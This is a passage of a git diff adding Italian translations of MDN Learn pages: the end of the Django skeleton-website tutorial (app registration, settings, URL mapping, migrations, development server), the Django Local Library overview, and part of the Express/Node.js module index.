+<ul>
+ <li>Una cartella <em>migrations</em>, usata per memorizzare le "migrazioni" — file che ti permettono di aggiornare automaticamente il tuo database mentre modifichi i tuoi models.</li>
+ <li><strong>__init__.py</strong> — un file vuoto creato qui in modo che Django / Python riconoscerà la cartella come un file <a href="https://docs.python.org/3/tutorial/modules.html#packages">Python Package</a> e ti permette di usare i suoi oggetti all'interno di altre parti del progetto.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Hai notato cosa manca nella lista dei file sopra? Mentre c'è un posto per le tue viste e modelli, non c'è nessun posto per te per mettere i tuoi mapping url, templates e file statici. Ti mostreremo come crearli più avanti (non sono necessari in tutti i siti Web ma sono necessari in questo esempio).</p>
+</div>
+
+<h2 id="Registrare_l'applicazione_catalog">Registrare l'applicazione catalog</h2>
+
+<p>Ora che l'applicazione è stata creata, dobbiamo registrarla nel progetto in modo che venga inclusa quando vengono eseguiti tutti gli strumenti (ad esempio per aggiungere modelli al database). Le applicazioni vengono registrate aggiungendole alla lista <code>INSTALLED_APPS</code> in project settings. </p>
+
+<p>Aprire il file di project settings <strong>django_projects/locallibrary/locallibrary/settings.py</strong> e cerca la definizione della lista <code>INSTALLED_APPS</code>. Quindi aggiungi una nuova riga alla fine dell'elenco, come mostrato in grassetto sotto.</p>
+
+<pre class="brush: bash">INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+<strong>    'catalog.apps.CatalogConfig', </strong>
+]</pre>
+
+<p>La nuova riga specifica l'oggetto di configurazione dell'applicazione (<code>CatalogConfig</code>) che è stato generato per te in <strong>/locallibrary/catalog/apps.py</strong> quando hai creato l'applicazione.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Noterai che ci sono già molti altri INSTALLED_APPS (e MIDDLEWARE, più in basso nel file delle impostazioni).. Questi abilitano il supporto per il <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">sito  Django administration</a> e, di conseguenza, molte delle funzionalità che utilizza (incluse sessioni, autenticazione, ecc.).</p>
+</div>
+
+<h2 id="Specificare_il_database">Specificare il database</h2>
+
+<p>Questo è anche il punto in cui normalmente si specifica il database da utilizzare per il progetto - è logico utilizzare lo stesso database per lo sviluppo e la produzione laddove possibile, al fine di evitare piccole differenze di comportamento.  Per le differenti opzioni si rimanda a <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases</a> (Django docs). </p>
+
+<p>Useremo il database SQLite per questo esempio, perché non ci aspettiamo di richiedere molti accessi simultanei su un database dimostrativo, e anche perché non richiede lavoro aggiuntivo per impostarlo! Puoi vedere come è configurato questo database in <strong>settings.py</strong> (ulteriori informazioni sono incluse anche di seguito):</p>
+
+<pre class="brush: python">DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+    }
+}
+</pre>
+
+<p>Poichè usiamo SQLite, non abbiamo bisogno di altri setup. Andiamo avanti!</p>
+
+<h2 id="Altre_impostazioni_per_il_progetto">Altre impostazioni per il progetto</h2>
+
+<p>Il file <strong>settings.py</strong> viene anche usato per configurare un certo numero di altre impostazioni, ma a questo punto probabilmente si desidera solo modificare <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> — che dovrebbe essere impostato uguale ad una delle stringhe standard presenti nella lista <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">List of tz database time zones</a> (la colonna TZ contiene i valori da sostituire). Cambia la tua <code>TIME_ZONE</code> con una di queste stringhe, per esempio:</p>
+
+<pre class="brush: python">TIME_ZONE = 'Europe/Rome'</pre>
+
+<p>Queste altre due impostazioni invece non le cambierai ora, ma dovresti comunque conoscerle:</p>
+
+<ul>
+ <li><code>SECRET_KEY</code>. Questa è una chiave segreta utilizzata come parte della strategia di sicurezza del sito web di Django. Se non stai proteggendo questo codice in fase di sviluppo, dovrai utilizzare un codice diverso (magari letto da una variabile o file di ambiente) quando lo metti in produzione.</li>
+ <li><code>DEBUG</code>. Consente di visualizzare i log di debug in caso di errore, piuttosto che le risposte del codice di stato HTTP. Questo dovrebbe essere impostato su <code>False</code> in produzione in quanto le informazioni di debug sono utili per gli aggressori, ma per ora possiamo tenerlo impostato su <code>True</code>.</li>
+</ul>
+
+<h2 id="Collegare_il_mapper_URL">Collegare il mapper URL</h2>
+
+<p>Il sito Web viene creato con un file di mappatura URL (<strong>urls.py</strong>) nella cartella del progetto. Sebbene sia possibile utilizzare questo file per gestire tutti i mapping degli URL, è più frequente rinviare i mapping all'applicazione associata.</p>
+
+<p>Aprite <strong>locallibrary/locallibrary/urls.py,</strong> notare il testo istruttivo che spiega alcuni modi per utilizzare il mappatore URL.</p>
+
+<pre class="brush: python">"""locallibrary URL Configuration
+
+
+L'elenco "urlpatterns" indirizza gli URL alle viste. Per maggiori informazioni vedi:
+    https://docs.djangoproject.com/en/2.1/topics/http/urls/
+Esempi:
+Views basate su funzioni
+    1. Aggiungere un import:  from my_app import views
+    2. Aggiungere un URL a urlpatterns:  path('', views.home, name='home')
+Views basate su classi
+    1. Aggiungere un import:  from other_app.views import Home
+    2. Aggiungere un URL a urlpatterns:  path('', Home.as_view(), name='home')
+Includere un altro URLconf
+    1. Importare la funzione include(): from django.urls import include, path
+    2. Aggiungere URL a urlpatterns: path('blog/', include('blog.urls'))
+"""
+from django.contrib import admin
+from django.urls import path
+
+urlpatterns = [
+    path('admin/', admin.site.urls),
+]
+</pre>
+
+<p>Le mappature URL sono gestite tramite la variabile <code>urlpatterns</code>, che è una <em>list</em> Python di funzioni <code>path()</code>. Ogni funzione <code>path()</code> associa un pattern URL a una <em>view specifica</em>, che verrà visualizzata quando il pattern viene matchato, o con un altro elenco di codice di test pattern URL (in questo secondo caso, il pattern diventa "base URL" per i pattern definiti nel modulo target). La <em>list</em> <code>urlpatterns</code> definisce inizialmente una singola funzione che associa tutti gli URL con il pattern <em>admin/</em> al modulo <code>admin.site.urls</code>, che contiene le definizioni di mappatura URL proprie dell'applicazione di Amministrazione.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: il percorso (route) in <code>path()</code> è una stringa che definisce un pattern URL da matchare. Questa stringa potrebbe includere una variabile con nome (tra parentesi angolari), ad es. <code>'catalog/&lt;id&gt;/'</code>. Questo pattern corrisponderà a un URL come<strong> <code>/catalog/</code></strong><code>any_chars<strong>/</strong></code> e passerà <em>any_chars </em>alla view come una stringa con nome di parametro<em><strong> </strong></em><code>id</code>. Discuteremo ulteriormente i metodi path e i route patterns in successivi argomenti.</p>
+</div>
+
+<p>Aggiungi le linee qua sotto alla fine del file per aggiungere un nuovo elemento alla lista <code>urlpatterns</code>. Questo nuovo elemento della lista include un <code>path()</code> che inoltra richieste con il pattern <code>catalog/</code> al modulo <code>catalog.urls</code> (il file con il relativo URL <strong>/catalog/urls.py</strong>).</p>
+
+<pre class="brush: python"># Use include() to add paths from the catalog application
+from django.urls import include
+from django.urls import path
+
+urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+
+</pre>
+
+<p>Adesso reindirizziamo il root URL del nostro sito (cioè <code>127.0.0.1:8000</code>) all'URL <code>127.0.0.1:8000/catalog/</code>; questa è l'unica app che useremo in questo progetto. Per fare ciò, useremo una speciale funzione (<code>RedirectView</code>), che prende come primo argomento il nuovo URL relativo verso cui fare il redirect (<code>/catalog/</code>) quando il pattern URL specificato nella funzione <code>path()</code> viene matchato (il root URL, in questo caso).</p>
+
+<p>Aggiungere le seguenti linee di codice, sempre alla fine del file:</p>
+
+<pre class="brush: python">#Add URL maps to redirect the base URL to our application
+from django.views.generic import RedirectView
+urlpatterns += [
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+]
+</pre>
+
+<p>Lasciare il primo parametro della funzione path vuoto per implicare '/'. Se scrivi il primo parametro come '/' Django ti darà il seguente avviso quando avvii il server di sviluppo:</p>
+
+<pre class="brush: python">System check identified some issues:
+
+WARNINGS:
+?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'.
+Remove this slash as it is unnecessary.
+If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'.
+</pre>
+
+<p>Django non utilizza file statici come CSS, JavaScript e immagini per impostazione predefinita, ma può essere utile per lo sviluppo del server Web durante la creazione del sito. Come aggiunta finale a questo mapper URL, è possibile abilitare la pubblicazione di file statici durante lo sviluppo aggiungendo le seguenti righe.</p>
+
+<p>Aggiungi il seguente blocco di codice alla fine del file:</p>
+
+<pre><code># Use static() to add url mapping to serve static files during development (only)
+from django.conf import settings
+from django.conf.urls.static import static
+
+urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Ci sono diversi modi per estendere la list <code>urlpatterns</code> (nel nostro esempio utiliziamo l'operatore append <code>+=</code> per separare chiaramente il codice nuovo e da quello vecchio). Avremmo potuto semplicemente includere tutto nella definizione originale della list:</p>
+
+<pre class="brush: python">urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('catalog/', include('catalog.urls')),
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<p>Inoltre, abbiamo aggiunto la linea di import (<code>from django.urls import include</code>) insieme al codice che la utilizza, ma comunemente si preferisce mettere tutti gli import all'inizio del file Python.</p>
+</div>
+
+<p>Come ultimo passaggio, crea un file all'interno della cartella del tuo catalogo chiamato <strong>urls.py</strong> e aggiungi il testo seguente per definire gli <code>urlpatterns</code> importati (vuoti). Qui è dove aggiungeremo i nostri modelli, mentre costruiamo l'applicazione.</p>
+
+<pre class="brush: python">from django.urls import path
+from . import views
+
+urlpatterns = [
+
+]
+</pre>
+
+<h2 id="Test_del_framework_del_sito_Web">Test del framework del sito Web</h2>
+
+<p>A questo punto abbiamo uno scheletro completo. Il sito Web in realtà non fa ancora nulla, ma vale la pena eseguirlo per assicurarsi che nessuno dei nostri cambiamenti abbia infranto nulla.</p>
+
+<p>Prima di farlo, dovremmo prima eseguire una <em>migrazione del database</em>. Questo aggiorna il nostro database per includere tutti i modelli nelle nostre applicazioni installate (e rimuove alcuni avvisi di build).</p>
+
+<h3 id="Effettuare_migrazioni_di_database">Effettuare migrazioni di database</h3>
+
+<p>Django utilizza un Object-Relational-Mapper (ORM) per mappare le definizioni di modello nel codice Django alla struttura dati utilizzata dal database sottostante. Quando cambiamo le definizioni dei nostri modelli, Django tiene traccia delle modifiche e può creare script di migrazione del database (in <strong>/locallibrary/catalog/migrations/</strong>) per migrare automaticamente la struttura dati sottostante nel database in modo che corrisponda al modello.</p>
+
+<p>Quando abbiamo creato il sito Django ha aggiunto automaticamente un numero di modelli per l'uso da parte della sezione admin del sito (che vedremo in seguito). Eseguire i seguenti comandi per definire le tabelle per tali modelli nel database (assicurarsi di essere nella directory che contiene <strong>manage.py</strong>):</p>
+
+<pre class="brush: bash">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<div class="warning">
+<p><strong>Importante</strong>: Avrai bisogno di eseguire i suddetti comandi ogni volta che i tuoi modelli cambiano in modo tale da influenzare la struttura dei dati che devono essere memorizzati (inclusi sia l'aggiunta che la rimozione di interi modelli e singoli campi).</p>
+</div>
+
+<p>Il comando <code>makemigrations</code> crea (ma non applica) le migrazioni per tutte le applicazioni installate nel progetto (puoi anche specificare il nome dell'applicazione per eseguire semplicemente una migrazione per un singolo progetto). Questo ti dà la possibilità di controllare il codice per queste migrazioni prima che vengano applicate - quando sei un esperto di Django puoi scegliere di modificarle direttamente!</p>
+
+<p>Il comando <code>migrate</code> applica effettivamente le migrazioni al tuo database (Django tiene traccia di quelli che sono stati aggiunti al database corrente).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Consulta <a href="https://docs.djangoproject.com/en/2.1/topics/migrations/">Migrations</a> (Django docs) per info aggiuntive sui comandi meno usati nelle migrazioni.</p>
+</div>
+
+<h3 id="Testare_il_sito_web">Testare il sito web</h3>
+
+<p>Durante lo sviluppo è possibile testare il sito Web utilizzando il <em>server web di sviluppo</em> e quindi visualizzandolo sul browser web locale.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Il web server di sviluppo non è abbastanza robusto o performante per l'uso in produzione, ma è un modo molto semplice per far funzionare il tuo sito Django durante lo sviluppo per testarlo in modo rapido. Per impostazione di default il sito si troverà sul tuo computer all'indirizzo (<code>http://127.0.0.1:8000/)</code>, ma puoi anche specificare altri computer sulla tua rete su cui hostare il sito. Per ulteriori informazioni, vedere <a href="https://docs.djangoproject.com/en/2.1/ref/django-admin/#runserver">django-admin and manage.py: runserver</a> (Django docs).</p>
+</div>
+
+<p>Eseguire il server Web di sviluppo chiamando il comando <em>runserver</em> (nella stessa directory di <strong>manage.py</strong>):</p>
+
+<pre class="brush: bash">python3 manage.py runserver
+
+ Performing system checks...
+
+ System check identified no issues (0 silenced).
+ August 15, 2018 - 16:11:26
+ Django version 2.1, using settings 'locallibrary.settings'
+ Starting development server at http://127.0.0.1:8000/
+ Quit the server with CTRL-BREAK.
+</pre>
+
+<p>Una volta attivato il server, puoi vedere il sito visitando il seguente indiriizzo sul browser web locale <code>http://127.0.0.1:8000/</code>. Dovresti vedere la seguente pagina di errore:</p>
+
+<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p>
+
+<p>Non preoccuparti! Questa pagina di errore è prevista perché non abbiamo alcuna pagina/URL definita nel modulo <code>catalogs.urls</code> (a cui siamo reindirizzati quando otteniamo un URL alla radice del sito).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La pagina sopra mostra una grande funzionalità di Django - registrazione automatica del debug. Verrà visualizzata una schermata di errore con informazioni utili ogni volta che non è possibile trovare una pagina o qualsiasi errore viene generato dal codice. In questo caso possiamo vedere che l'URL che abbiamo fornito non corrisponde a nessuno dei nostri pattern URL (come elencato). Il logging verrà disattivato in produzione (quando mettiamo il sito sul Web), nel qual caso verrà pubblicata una pagina meno informativa ma più user-friendly.</p>
+</div>
+
+<p>Ora sappiamo che Django sta funzionando! </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Dovresti rieffettuare le migrazioni ogni volta che fai dei cambiamenti significativi, non richiedono molto tempo!</p>
+</div>
+
+<h2 id="Sfida_te_stesso">Sfida te stesso</h2>
+
+<p>La cartella <strong>catalog/ </strong>contiene file per le views, models, e altre parti dell'applicazione. Apri questi file e studiali. </p>
+
+<p>Come hai visto sopra, una mappatura URL per il sito di amministrazione è già stata aggiunta nella <strong>urls.py</strong> del progetto. Passa all'area di amministrazione nel tuo browser e vedi cosa succede (puoi dedurre l'URL corretto dalla mappatura sopra).</p>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Abbiamo creato uno scheletro completo del nostro progetto web, che potremo ora popolare con urls, models, views e templates.</p>
+
+<p>Ora che lo scheletro per <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> è completo e funzionante, è ora di scrivere del codice per far fare al nostro sito cosa vogliamo fargli fare. </p>
+
+<h2 id="Consulta_anche">Consulta anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Writing your first Django app - part 1</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/applications/#configuring-applications">Applications</a> (Django Docs). Contiene informazioni su come configurare le applicazioni.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/tutorial_local_library_website/index.html b/files/it/learn/server-side/django/tutorial_local_library_website/index.html
new file mode 100644
index 0000000000..eeabfd4a01
--- /dev/null
+++ b/files/it/learn/server-side/django/tutorial_local_library_website/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Django Tutorial: The Local Library website'
+slug: Learn/Server-side/Django/Tutorial_local_library_website
+tags:
+  - Articolo
+  - Guida
+  - Principiante
+  - Scripting
+  - Tutorial
+  - django
+  - imparare
+  - lato-server
+translation_of: Learn/Server-side/Django/Tutorial_local_library_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Il primo articolo della serie di tutorial pratici spiega ciò che imparerai, e fornisce una panoramica del sito web di esempio "local library" con cui andremo a lavorare e che faremo evolvere nei prossimi articoli.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Leggere la <a href="/en-US/docs/Learn/Server-side/Django/Introduction">Introduzione a Django</a>. Per i seguenti articoli sarà anche necessario avere predisposto un <a href="/en-US/docs/Learn/Server-side/Django/development_environment"> ambiente di sviluppo Django</a>. </td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Presentare l'applicazione di esempio utilizzata in questo tutorial, e mettere in grado i lettori di capire quali argomenti saranno trattati.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Benvenuti al tutorial Django MDN "Local Library", nel quale sviluppiamo un sito web che potrebbe essere utilizzato per gestire il catalogo per una biblioteca locale.</p>
+
+<p>In questa serie di articoli tutorial vedrai come:</p>
+
+<ul>
+ <li>Usare i tool di Django per creare lo scheletro di un sito web e un'applicazione.</li>
+ <li>Avviare e arrestare il server di sviluppo.</li>
+ <li>Creare models per rappresentare i dati dell'applicazione.</li>
+ <li>Utilizzare il sito di amministrazione Django-admin per popolare i dati del tuo sito.</li>
+ <li>Creare view per recuperare dati specifici in risposta a richieste diverse e template per fare il rendering dei dati come HTML da visualizzare nel browser.</li>
+ <li>Creare mapper per associare pattern URL diversi a view specifiche.</li>
+ <li>Aggiungere autorizzazione utente e sessioni per controllare il comportamento del sito e l'accesso ad esso.</li>
+ <li>Lavorare con i form.</li>
+ <li>Scrivere codice di test per la tua app.</li>
+ <li>Usare efficacemente la sicurezza di Django.</li>
+ <li>Distribuire la tua applicazione in produzione.</li>
+</ul>
+
+<p>Hai già imparato qualcosa riguardo ad alcuni di questi argomenti e hai toccato brevemente gli altri. Alla fine della serie di tutorial dovresti sapere abbastanza per sviluppare semplici app Django da solo.</p>
+
+<h2 id="Il_sito_web_LocalLibrary">Il sito web LocalLibrary</h2>
+
+<p><em>LocalLibrary</em> è il nome di un sito web che creeremo e faremo evolvere durante il corso di questa serie di tutorial. Come ti aspetteresti, lo scopo del sito è quello di fornire un catalogo online per un piccola biblioteca locale, in cui gli utenti possono ricercare i libri disponibili e gestire i loro account.</p>
+
+<p>Questo esempio è stato scelto con cura poichè può essere scalato per mostrare pochi o molti dettagli di cui necessitiamo, e può essere utilizzato per mostrare quasi tutte le feature di Django. In modo più importante, ci permette di fornire un percorso <em>guidato</em> attraverso le più importanti funzionalità nel web framework Django:</p>
+
+<ul>
+ <li>Nei primi pochi articoli tutorial definiremo una semplice biblioteca <em>browse-only (solo sfogliabile)</em> che i membri della biblioteca possono utilizzare per trovare che libri sono disponibili. Questo ci permette di esplorare le operazioni che sono comuni in quasi tutti i siti web: leggere e visualizzare contenuti da un database.</li>
+ <li>Mentre progrediamo, l'esempio biblioteca naturalmente si estende per dimostrare feature più avanzate di Django. Per esempio possiamo estendere la biblioteca per permettere agli utenti di prenotare libri, e utilizzare ciò per dimostrare come utilizzare i form, e supportare l'autenticazione utente.</li>
+</ul>
+
+<p>Anche se questo è un esempio molto estensibile, viene chiamato <em><strong>Local</strong>Library</em> per una ragione — stiamo sperando di mostrare le informazioni minime che possano aiutare a metterti in funzione con Django rapidamente. Di conseguenza, archivieremo informazioni su libri, copie di libri, autori e altre informazioni chiave. Non memorizzeremo tuttavia informazioni circa altri elementi che una biblioteca potrebbe archiaviare, o forniremo l'infrastruttura necessaria per supportare più siti di biblioteche o altre feature di "grandi biblioteche". </p>
+
+<h2 id="Sono_bloccato_dove_posso_trovare_il_sorgente">Sono bloccato, dove posso trovare il sorgente?</h2>
+
+<p>Man mano che so segue il tutorial forniremo i frammenti di codice appropriati da copiare e incollare in ciascun punto, e ci sarà altro codice che speriamo tu estenda da solo (con un po' di guida).</p>
+
+<p>Se ci si blocca, si può trovare la versione completamente sviluppata del sito web <a href="https://github.com/mdn/django-locallibrary-tutorial">su Github qui</a>.</p>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Ora che sai un po' di più sul sito web <em>LocalLIbrary</em> e cosa stai per andare a imparare, è tempo di iniziare a creare un <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">scheletro di progetto</a> per contenere il nostro esempio.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p>
diff --git a/files/it/learn/server-side/express_nodejs/index.html b/files/it/learn/server-side/express_nodejs/index.html
new file mode 100644
index 0000000000..d6a55af9c8
--- /dev/null
+++ b/files/it/learn/server-side/express_nodejs/index.html
@@ -0,0 +1,75 @@
+---
+title: Express web framework (Node.js/JavaScript)
+slug: Learn/Server-side/Express_Nodejs
+tags:
+  - Codice
+  - Express
+  - Express.js
+  - Intro
+  - JavaScript
+  - Node
+  - Principiante
+  - Scripting
+  - Server
+  - node.js
+translation_of: Learn/Server-side/Express_Nodejs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Express è un framework di tipo unopinionated, scritto in Javascript ed hostato dentro un amiente di runtime Node.js. Qusto modulo illustra i benefici chiave di questo framework, come configurare un ambiente di sviluppo, e come compiere alcuni compiti comuni di sviluppo e deploy.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare dovrai esssere in grado di capire cosa sia la programmazione lato server e che cosa sia un framework, preferibilmente leggendo i topics <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a>. Una infarinatura generale di programmazione e <a href="/en-US/docs/Web/JavaScript">JavaScript</a> è altamente raccomandata, ma non necessaria per comprendere i concetti chiave.</p>
+
+<div class="note">
+<p>Nota: questo sito Web offre molte risorse utili per l'apprendimento di JavaScript nel contesto dello sviluppo lato client: <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>. Il linguaggio e i concetti fondamentali di JavaScript sono gli stessi per lo sviluppo lato server su Node.js e questo materiale sarà rilevante. Node.js offre API aggiuntive per supportare funzionalità utili in ambienti senza browser (es. per creare un server HTTP ed accedere al file system, ma non supporta le API per lavorare sul browser o interagire con il DOM).</p>
+
+<p>Questa guida fornirà alcune informazioni su come lavorare con Node.js e Express, e ci sono numerose altre eccellenti risorse su Internet e nei libri - alcune delle quali disponibili ai seguenti link <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) e <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node: una introduzione</a></dt>
+ <dd>In questo primo articolo rispondiamo alle domande "Cos'è Node?" e "Cos'è Express?" e faremo una panoramica di ciò che rende speciale la struttura web Express. Descriveremo le caratteristiche principali e mostreremo alcuni dei principali elementi costitutivi di un'applicazione Express (sebbene a questo punto non avrete ancora un ambiente di sviluppo in cui testarlo).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Creare un ambiente di sviluppo Node (Express)</a></dt>
+ <dd>Ora che sai a cosa serve Express, ti mostreremo come configurare e testare un ambiente di sviluppo Node/Express su Windows, Linux (Ubuntu) e Mac OS X. Qualunque sia il sistema operativo che stai usando, questo articolo dovrebbe darti quello che ti serve per iniziare a sviluppare applicazioni Express.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial Express: Il sito Local Library</a></dt>
+ <dd>Il primo articolo della nostra serie di tutorial pratica spiega cosa imparerai e fornirà una panoramica del sito web di esempio della "biblioteca locale" che elaboreremo e svilupperemo in articoli successivi.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Parte 2: Creare lo scheletro del sito</a></dt>
+ <dd>Questo articolo mostra come è possibile creare uno "scheletro" di un sito web, che può poi essere popolato con percorsi, modelli/viste e database specifici del sito.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Parte 3: Usare un Database (con Mongoose)</a></dt>
+ <dd>Questo articolo introduce brevemente i database per Node / Express. Poi continua a mostrare come possiamo usare <a href="http://mongoosejs.com/">Mongoose</a> per fornire l'accesso al database per il sito Web LocalLibrary. Spiega come vengono dichiarati lo schema e i modelli dell'oggetto, i tipi di campo principali e la convalida di base. Mostra anche brevemente alcuni dei principali modi in cui è possibile accedere ai dati del modello.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Parte 4: Routeing e controllers</a></dt>
+ <dd>In questo tutorial imposteremo i percorsi (codice di gestione degli URL) con le funzioni di gestione "fittizia" per tutti gli endpoint delle risorse che saranno necessari nel sito Web di LocalLibrary. Al termine, avremo una struttura modulare per il nostro codice di gestione del routing, che possiamo estendere con le funzioni di gestione reale nei seguenti articoli. Avremo anche una buona conoscenza di come creare percorsi modulari usando Express.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Parte 5: Mostrare i dati della libreria</a></dt>
+ <dd>Siamo ora pronti per aggiungere le pagine che visualizzano i libri del sito Web LocalLibrary e altri dati. Le pagine includeranno una home page che mostra quanti record abbiamo di ogni tipo di modello e lista e pagine di dettaglio per tutti i nostri modelli. Lungo la strada, acquisiremo esperienza pratica nell'ottenere record dal database e utilizzare modelli.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Utilizzare i form</a></dt>
+ <dd>Vedremo come lavorare con i<a href="/en-US/docs/Web/Guide/HTML/Forms"> Forms</a> in Express, usando Pug, e in particolare come creare forms per eseguire operazioni CRUD.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Parte 7: Deployare in produzion</a>e</dt>
+ <dd>Ora hai creato un sito Web di LocalLibrary fantastico, vorrai installarlo su un server Web pubblico in modo che sia accessibile al personale della biblioteca e ai membri su Internet. Questo articolo fornisce una panoramica di come si può trovare un host per la distribuzione del sito Web e di cosa è necessario fare per rendere il sito pronto per la produzione.</dd>
+</dl>
+
+<h2 id="Consulta_anche">Consulta anche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Installare LocalLibrary su PWS/Cloud Foundry</a></dt>
+ <dd>Questo articolo fornisce una dimostrazione pratica di come installare LocalLibrary sul <a href="http://run.pivotal.io/">Pivotal Web Services PaaS cloud</a>: si tratta di un'alternativa open source completa di Heroku, il servizio cloud PaaS utilizzato nella parte 7 del tutorial, sopra elencato. PWS/Cloud Foundry Merita sicuramente un'occhiata se stai cercando una alternativa ad Heroku o vuoi provare qualcos'altro.</dd>
+</dl>
+
+<h2 id="Aggiungere_altri_tutorials">Aggiungere altri tutorials</h2>
+
+<div>
+<p>Questa è la fine degli articoli del tutorial (per ora). Se desideri estenderlo, altri argomenti interessanti da trattare sono:</p>
+
+<ul>
+ <li>Utilizzo delle sessioni.</li>
